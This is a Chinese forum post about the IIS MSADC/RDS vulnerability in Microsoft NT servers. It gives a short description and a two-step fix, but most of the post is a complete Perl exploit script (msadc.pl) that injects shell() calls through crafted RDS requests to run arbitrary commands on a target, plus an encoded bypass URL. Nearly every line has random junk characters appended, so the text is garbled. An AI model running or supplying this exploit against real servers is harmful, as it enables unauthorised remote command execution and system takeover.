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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) T{yJL<  
Zp9kxm'  
涉及程序: >6)|># Wi  
Microsoft NT server lJT"aXt'M  
 }Fox  
描述: f"zmNG'  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,g,Hb\_R)  
T4[/_;1g  
详细: pmO0/ty  
如果你没有时间读详细内容的话,就删除: ovDPnf(  
c:\Program Files\Common Files\System\Msadc\msadcs.dll sc6NON#  
有关的安全问题就没有了。 j9vK~_?;  
[8 H:5 Ho  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ZNL+w4  
6GqC]rd*:  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 /{ W6]6^  
关于利用ODBC远程漏洞的描述,请参看: tvq((2  
#l7v|)9v  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k_Y7<z0G  
es=OWJt^  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Ki&a"Fu3  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp uv^x  
< $otBC/%  
这里不再论述。 Htln <N  
 nb6Y/`G  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: =);@<Jp  
j['B9vG  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Z_ Y'#5o#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! kQQDaZ 8  
*v?kp>O  
c& bms)Jwa  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 5}Xi`'g,  
^Xu4N"@  
#!perl ;Zr7NKs  
# >mG64N  
# MSADC/RDS 'usage' (aka exploit) script ;K%/s IIke  
# Q;A\M  
# by rain.forest.puppy %/5Wj_|p  
# Vo6g /h?`  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me n\f]?B(  
# beta test and find errors! 9\/oL{  
\k{[HfVvn  
use Socket; use Getopt::Std; "Wr[DqFd  
getopts("e:vd:h:XR", \%args); vUOl@UQ5  
*c&|2EsZ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; x}V&v?1{5  
2A:h&t/|C  
if (!defined $args{h} && !defined $args{R}) { \xv(&94U  
print qq~ ?(z"U b]  
Usage: msadc.pl -h <host> { -d <delay> -X -v } VxARJ*4=Y  
-h <host> = host you want to scan (ip or domain) a60rJ#GD  
-d <seconds> = delay between calls, default 1 second F[`dX  
-X = dump Index Server path table, if available E0 E K88  
-v = verbose J_m@YkK  
-e = external dictionary file for step 5 $ ]#WC\Hv  
GG +T-  
Or a -R will resume a command session n${k^e-=  
-5ZmIlL.S  
~; exit;} BMuEfa^  
u]9\_{c]Q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; sowwXrECg@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} zNdkwj p+  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} AS re@pW  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 5,g +OY=\  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} oD1k7Gq1  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Xc}XRKiy{  
<c:H u{D  
if (!defined $args{R}){ $ret = &has_msadc; 8N?D1; F;  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} o)^ Wz  
pRL:,q\  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ( }Bb=~  
. "cmd /c "; GQ>0E  
$in=<STDIN>; chomp $in; 2Q5@2jT  
$command="cmd /c " . $in ; Hbd>sS  
z ynu0X  
if (defined $args{R}) {&load; exit;} AX<f$%iqD  
KAI2[ gs  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +@?'dw  
&try_btcustmr; uLWu. Vx  
hpPacN  
print "\nStep 2: Trying to make our own DSN..."; 8T6NG!/  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; hh&$xlO)(v  
?+.C@_QZQ  
print "\nStep 3: Trying known DSNs..."; 2zW IB[  
&known_dsn; s&-MJ05y  
aekke//y  
print "\nStep 4: Trying known .mdbs..."; w}zmcO:x  
&known_mdb; ?+^p$'5  
p'1/J:EnV  
if (defined $args{e}){ M*kE |q/K  
print "\nStep 5: Trying dictionary of DSN names..."; 0doJF@H  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } UeLO`Ug0;  
QuPz'Ut#  
print "Sorry Charley...maybe next time?\n"; i/1$uQ  
exit; >7%T%2N  
yNP4Ey  
############################################################################## V-n{=8s  
zqXF`MAB=  
sub sendraw { # ripped and modded from whisker m m`#v g,  
sleep($delay); # it's a DoS on the server! At least on mine... \AKP ea=  
my ($pstr)=@_; | |awNSt  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || bvB', yBZ  
die("Socket problems\n"); =\5WYC  
if(connect(S,pack "SnA4x8",2,80,$target)){ J ~3m7  
select(S); $|=1; , f$P[c  
print $pstr; my @in=<S>; fx[&"$X  
select(STDOUT); close(S); 1BZ##xV*:G  
return @in; 3Z=yCec]  
} else { die("Can't connect...\n"); }} ;p`to"6IFD  
%oTBh*K'o  
############################################################################## x5BS|3W$a  
Opcszq5n  
sub make_header { # make the HTTP request 5~@-LXqL  
my $msadc=<<EOT aaT3-][  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 j2UQQFh  
User-Agent: ACTIVEDATA e&d$kUJrq  
Host: $ip YZ4`b-  
Content-Length: $clen KGg S"d  
Connection: Keep-Alive "g&f:[a/  
H~:oW~Ah  
ADCClientVersion:01.06 )Ak#1w&q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Babzrt-  
nH6SA1$kW  
--!ADM!ROX!YOUR!WORLD! Sq ]gU  
Content-Type: application/x-varg a'?;;ZC-  
Content-Length: $reqlen a(]&H "  
k1f<(@*`  
EOT cr{yy :D  
; $msadc=~s/\n/\r\n/g; w|s2f`!  
return $msadc;} xL"J?Gy  
;'8P/a$  
############################################################################## d\]KG(T  
@ztT1?!e  
sub make_req { # make the RDS request LkS tU)  
my ($switch, $p1, $p2)=@_; eTvjo(Lvx  
my $req=""; my $t1, $t2, $query, $dsn; vu\W5M  
'kt6%d2  
if ($switch==1){ # this is the btcustmr.mdb query  Jc ze.t  
$query="Select * from Customers where City=" . make_shell(); M?" 4 {  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . f/UU{vX(  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} O0L]xr  
\EVT*v=}/  
elsif ($switch==2){ # this is general make table query s0f+AS|}  
$query="create table AZZ (B int, C varchar(10))"; y 2> 93m  
$dsn="$p1";} -6kX?sNl)X  
D5P-$1KPt  
elsif ($switch==3){ # this is general exploit table query Kgr<OL}VJ  
$query="select * from AZZ where C=" . make_shell(); *pa hZiO  
$dsn="$p1";} :p/=KI_  
} u;{38~  
elsif ($switch==4){ # attempt to hork file info from index server oOpEpQ}}q  
$query="select path from scope()"; M*gvYo  
$dsn="Provider=MSIDXS;";} ue@/o,C>  
9S@x  
elsif ($switch==5){ # bad query scH61Y8`  
$query="select"; /g{*px|  
$dsn="$p1";} y,x 2f%x  
MLHCBRi  
$t1= make_unicode($query); 8p%0d`sX  
$t2= make_unicode($dsn); K $- *  
$req = "\x02\x00\x03\x00"; z:f&k}(  
$req.= "\x08\x00" . pack ("S1", length($t1));  g]?pY  
$req.= "\x00\x00" . $t1 ; ,5;M(ft#  
$req.= "\x08\x00" . pack ("S1", length($t2)); `J,>#Y6(J  
$req.= "\x00\x00" . $t2 ; >:6iFPP  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; yC\UT ~j/  
return $req;} z.-yL,Rc`-  
<PDCM8  
############################################################################## !?JZ^/u  
pS+w4gW  
sub make_shell { # this makes the shell() statement q< q IT  
return "'|shell(\"$command\")|'";} k}fC58q  
>=;-:  
############################################################################## g:Qq%'  
lOVcXAe}  
sub make_unicode { # quick little function to convert to unicode  YFm%W@  
my ($in)=@_; my $out; oqF?9<Vgc,  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %akW43cE  
return $out;} q x)\{By  
PzSL E>Q  
############################################################################## FJtmRPP[r  
e7;7TrB.  
sub rdo_success { # checks for RDO return success (this is kludge) :KO&j"[  
my (@in) = @_; my $base=content_start(@in); j;`Q82V\  
if($in[$base]=~/multipart\/mixed/){ Hvk~BP' m  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} /ZV2f3;t  
return 0;} yHw @Z  
m)p|NdTZc8  
############################################################################## (dSYb&]  
ZDmL?mC  
sub make_dsn { # this makes a DSN for us y7F |v8bq  
my @drives=("c","d","e","f"); 90W= v*  
print "\nMaking DSN: "; (2H GV+Dg  
foreach $drive (@drives) { UVD D)  
print "$drive: "; vlkw Wm  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . g]vB\5uA:  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Y`j$7!j  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); L'{W|Xb+  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Qpmq@iL  
return 0 if $2 eq "404"; # not found/doesn't exist 0o>C, `  
if($2 eq "200") { {FvFah  
foreach $line (@results) { i0{\c}r:4b  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 2(DhKHrF  
} return 0;} B N79\rt  
)^o.H~Pv  
############################################################################## ?m*e$!M0  
NuR7pjNMZ  
sub verify_exists { :38{YCN  
my ($page)=@_;  `qs,V  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ^>l <)$s  
return $results[0];} S~aWun  
K-k!':K:  
############################################################################## <Tgy$Hm  
V>QyiB  
sub try_btcustmr { 9{;L7`<  
my @drives=("c","d","e","f"); #8et91qw  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `r1}:`.m,  
}X{rE|@  
foreach $dir (@dirs) { %J-0%-/_S:  
print "$dir -> "; # fun status so you can see progress 5wVJ.B~s  
foreach $drive (@drives) { sF!#*Y  
print "$drive: "; # ditto pL{oVk#,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Vhv'Z\  
$reqlenlen=length( "$reqlen" ); vGv<WEE  
$clen= 206 + $reqlenlen + $reqlen; ]4H)GWHKg  
_|M8xI  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?. ` ga*   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} IzTJ7E*i  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} nDraX_sm=  
(o|bst][S  
############################################################################## BZW03e8|  
9k;,WU(K<  
sub odbc_error { aU(.LC  
my (@in)=@_; my $base; oC|oh  
my $base = content_start(@in); g J |#xZ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this %.=}v7&<z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !lfE7|\p  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C+**!uYIB  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]F+|C  
return $in[$base+4].$in[$base+5].$in[$base+6];} i,;JI>U  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; c0Ih$z  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $}su 'EIo  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} o+.L@3RT4  
{FFdMdxy-  
############################################################################## bSw^a{~)  
&'fER-  
sub verbose { pSlc (M>  
my ($in)=@_; L/jaUt[,  
return if !$verbose; ExtC\(X;  
print STDOUT "\n$in\n";} %mmV#vwp  
.hx(9  
############################################################################## gV.?Myy  
^ l#6Es  
sub save { GV0@We~  
my ($p1, $p2, $p3, $p4)=@_; :L@ ;.s  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ~o_JZ:  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; O;RBK&P  
close OUT;} j#p;XI  
zk{d*gN  
############################################################################## ,1~zYL?  
d?X,od6  
sub load { 'EIe5O p  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ra'/~^9  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); /HRKw D  
@p=<IN>; close(IN); >ZkL`!:s  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Ni>Ns=n  
$target= inet_aton($ip) || die("inet_aton problems"); 60%nQhb  
print "Resuming to $ip ..."; }MOXJb @  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; op`9(=DJ]  
if($p[1]==1) { 3/]1m9x  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; E$ \l57  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [E p'm  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); NC~?4F[  
if (rdo_success(@results)){print "Success!\n";} =i  vlS  
else { print "failed\n"; verbose(odbc_error(@results));}} B<EqzP*#  
elsif ($p[1]==3){ *xxk70Cb  
if(run_query("$p[3]")){ -*mbalU,J  
print "Success!\n";} else { print "failed\n"; }} 129\H< m  
elsif ($p[1]==4){ .Qrpz^wdt  
if(run_query($drvst . "$p[3]")){ }=EJM7sM|k  
print "Success!\n"; } else { print "failed\n"; }} `\VtTS  
exit;} d\>XfS  
-& (iU#W  
############################################################################## sf2%WPK  
3=n6N TL  
sub create_table { V$hL\`e  
my ($in)=@_; CsZm8oL$  
$reqlen=length( make_req(2,$in,"") ) - 28; Mbxl{M >  
$reqlenlen=length( "$reqlen" ); d;dT4vx$[M  
$clen= 206 + $reqlenlen + $reqlen; eQuw uT  
my @results=sendraw(make_header() . make_req(2,$in,"")); %mss{p!d6  
return 1 if rdo_success(@results); 4k^P1  
my $temp= odbc_error(@results); verbose($temp); [w<_Wj  
return 1 if $temp=~/Table 'AZZ' already exists/; %"r9;^bj&<  
return 0;} H 0+-$s;f  
A<|9</9z  
############################################################################## X8m-5(uW  
\r:*`Z*y  
sub known_dsn { GkU_01C  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !$l<'K$  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !T<,fR+8X  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2+y wy^  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); i ed 1+H  
>g !Z|ju  
foreach $dSn (@dsns) { BGi'UL,  
print "."; p7> 9 m  
next if (!is_access("DSN=$dSn")); % WDTnEm  
if(create_table("DSN=$dSn")){ .iR<5.  
print "$dSn successful\n"; j>8ubA  
if(run_query("DSN=$dSn")){ *e [*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (km $qX  
print "Something's borked. Use verbose next time\n";}}} print "\n";} XdA]);,  
I<RARB-j  
############################################################################## ]CNPy$>*  
?<4pYEP  
sub is_access { b * \ oQ  
my ($in)=@_; Ry}4MEq]  
$reqlen=length( make_req(5,$in,"") ) - 28; 2fky z  
$reqlenlen=length( "$reqlen" ); &*/= `=:C8  
$clen= 206 + $reqlenlen + $reqlen; uT=r*p(v  
my @results=sendraw(make_header() . make_req(5,$in,"")); S8AbLl9G@>  
my $temp= odbc_error(@results); T P#Ncqh  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Io<T'K  
return 0;} "Q+wO+}6  
=KQIrS:  
############################################################################## SM)"vr_  
8B-PsS|'  
sub run_query { EE]xZz>o  
my ($in)=@_; ?<.a>"!  
$reqlen=length( make_req(3,$in,"") ) - 28; {wM<i  
$reqlenlen=length( "$reqlen" ); XE_Lz2H`  
$clen= 206 + $reqlenlen + $reqlen; !EKt$8W  
my @results=sendraw(make_header() . make_req(3,$in,"")); @$kO7k0{g  
return 1 if rdo_success(@results); u:J( 0re  
my $temp= odbc_error(@results); verbose($temp); !+$QN4{9  
return 0;} ;5;>f)diS  
l4$ sku-  
############################################################################## Eg1TF oIWl  
??e|ec2%  
sub known_mdb { CC^]Y.9  
my @drives=("c","d","e","f","g"); <EqS ,cO^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >y8>OJ?A7-  
my $dir, $drive, $mdb; q 1xSylE  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; '%/=\Q`  
FWeUZI+  
# this is sparse, because I don't know of many HdlO Ga6C  
my @sysmdbs=( "\\catroot\\icatalog.mdb", DXD+,y\=  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", :j~4mb?$  
"\\system32\\certmdb.mdb", ]0<K^OIY  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {.oz^~zs]g  
>!Y#2]@}o  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ^7>~y(  
"\\cfusion\\cfapps\\forums\\forums_.mdb", x(sKkm`Q  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 00IW9B-  
"\\cfusion\\cfapps\\security\\realm_.mdb", PdVY tK%  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", M*n94L=Sg&  
"\\cfusion\\database\\cfexamples.mdb", ;\}d QsX  
"\\cfusion\\database\\cfsnippets.mdb", 6@lZVM)E  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", VTR4uT-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", z l`m1k-X  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ;yqHt!N  
"\\cfusion\\database\\smpolicy.mdb", sK W~+ ]  
"\\cfusion\\database\cypress.mdb", {9;-5@b  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *6<4ECa7C  
"\\website\\cgi-win\\dbsample.mdb", ).GM 0-y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", c]1AM)xo  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1F>8#+B/W  
); #these are just jQ7;-9/~N  
foreach $drive (@drives) { e~*tQ4  
foreach $dir (@dirs){ n&&C(#mBC  
foreach $mdb (@sysmdbs) { :Nf(:D8  
print "."; unFm~rcf  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ vK/`or3U  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 5h Sd,#:  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #s(ob `0|  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; AXxyB"7A}  
} else { print "Something's borked. Use verbose next time\n"; }}}}} O0rvr$.  
)%p46(]  
foreach $drive (@drives) { H(Wiy@cJn  
foreach $mdb (@mdbs) { \s)$AF  
print "."; X! 6dg.n5  
if(create_table($drv . $drive . $dir . $mdb)){ /m>SEo\{C  
print "\n" . $drive . $dir . $mdb . " successful\n"; /C'_-U?  
if(run_query($drv . $drive . $dir . $mdb)){ cV1E<CM  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 2s,cyCw&  
} else { print "Something's borked. Use verbose next time\n"; }}}} e/x 9@1s#  
} #F3'<(j  
<i ]-.>&J  
############################################################################## s^6,"C  
2N |iOog  
sub hork_idx { ,>qtnwvlHP  
print "\nAttempting to dump Index Server tables...\n"; v1+.-hO  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; BZTj>yd  
$reqlen=length( make_req(4,"","") ) - 28; @\gE{;a8  
$reqlenlen=length( "$reqlen" ); 6)=;cc{Vr  
$clen= 206 + $reqlenlen + $reqlen; 6NyUGGRq  
my @results=sendraw2(make_header() . make_req(4,"","")); F5H*z\/={  
if (rdo_success(@results)){ NMg(tmh  
my $max=@results; my $c; my %d; nfZe"|d  
for($c=19; $c<$max; $c++){ ^h=gaNL  
$results[$c]=~s/\x00//g; GNwFB)?j  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; /EQ^-4yr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; !"/"Mqs3$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Zw4%L?   
$d{"$1$2"}="";} pHoxw|'Y  
foreach $c (keys %d){ print "$c\n"; } 4_2oDcdf  
} else {print "Index server doesn't seem to be installed.\n"; }} {C?$osrr  
jC:D>  
############################################################################## N0$ uB"  
d j9i*#F  
sub dsn_dict { ukW L3  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;[Xf@xf  
while(<IN>){ 9X1vL  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .#sX|c=W  
next if (!is_access("DSN=$dSn")); I)jAdd  
if(create_table("DSN=$dSn")){ 8?'=Aeo  
print "$dSn successful\n"; ;){ZM,Ox  
if(run_query("DSN=$dSn")){ ]fh(b)8_,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { I5[@C<b  
print "Something's borked. Use verbose next time\n";}}} Je"XIhBr  
print "\n"; close(IN);} :qR8 e J  
N|"q6M !ZL  
############################################################################## |FaK =e  
j5n"LC+oz  
sub sendraw2 { # ripped and modded from whisker )BaGY  
sleep($delay); # it's a DoS on the server! At least on mine... o ,_F;ZhE  
my ($pstr)=@_; WFFd3TN%<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || pcOKC0b.  
die("Socket problems\n"); pE+:tMH;  
if(connect(S,pack "SnA4x8",2,80,$target)){ e{4e<hd  
print "Connected. Getting data"; d6m&nj  
open(OUT,">raw.out"); my @in; ??#EG{{  
select(S); $|=1; print $pstr; /18fpH|  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2RqV\Jik  
close(OUT); select(STDOUT); close(S); return @in; 8eh3K8tL#  
} else { die("Can't connect...\n"); }} cw0 @Z0  
tqB6:p-%  
############################################################################## /IX555/dR1  
D'D IC  
sub content_start { # this will take in the server headers *>EV4Hl  
my (@in)=@_; my $c;  L`Ys`7  
for ($c=1;$c<500;$c++) {  Hi\z-P-  
if($in[$c] =~/^\x0d\x0a/){ c":2<:D&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #U3q +d+^  
else { return $c+1; }}}  RZqMpW  
return -1;} # it should never get here actually Xa"I  
)VG>6x  
############################################################################## _~>WAm<  
}a UQ#x  
sub funky { y'oH>l+n  
my (@in)=@_; my $error=odbc_error(@in); 0&kmP '  
if($error=~/ADO could not find the specified provider/){ /{[tU-}qJ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; hCX/k<}I  
exit;} ?mVSc/  
if($error=~/A Handler is required/){ u]9 #d^%V  
print "\nServer has custom handler filters (they most likely are patched)\n"; o?= &kx  
exit;} Jfv'M<I  
if($error=~/specified Handler has denied Access/){ qM Qu!%o  
print "\nServer has custom handler filters (they most likely are patched)\n"; "~Kph0-  
exit;}} >wYmx4W>  
ns/*WH&[x  
############################################################################## V=>]&95-f  
?%Q=l;W.  
sub has_msadc { s nNd7v.U6  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 3:sx%Ci/2  
my $base=content_start(@results); @b5$WKPX  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); U: <  
return 0;} \7o7~pll  
>G[:Q s  
######################## %\'G2  
W^;4t3eQf  
`6NcE-oJ  
解决方案: EuVA"~PA  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Sq2 8=1%  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 GJ?J6@|  
'w/ S6j  
拿出来充数 哈哈
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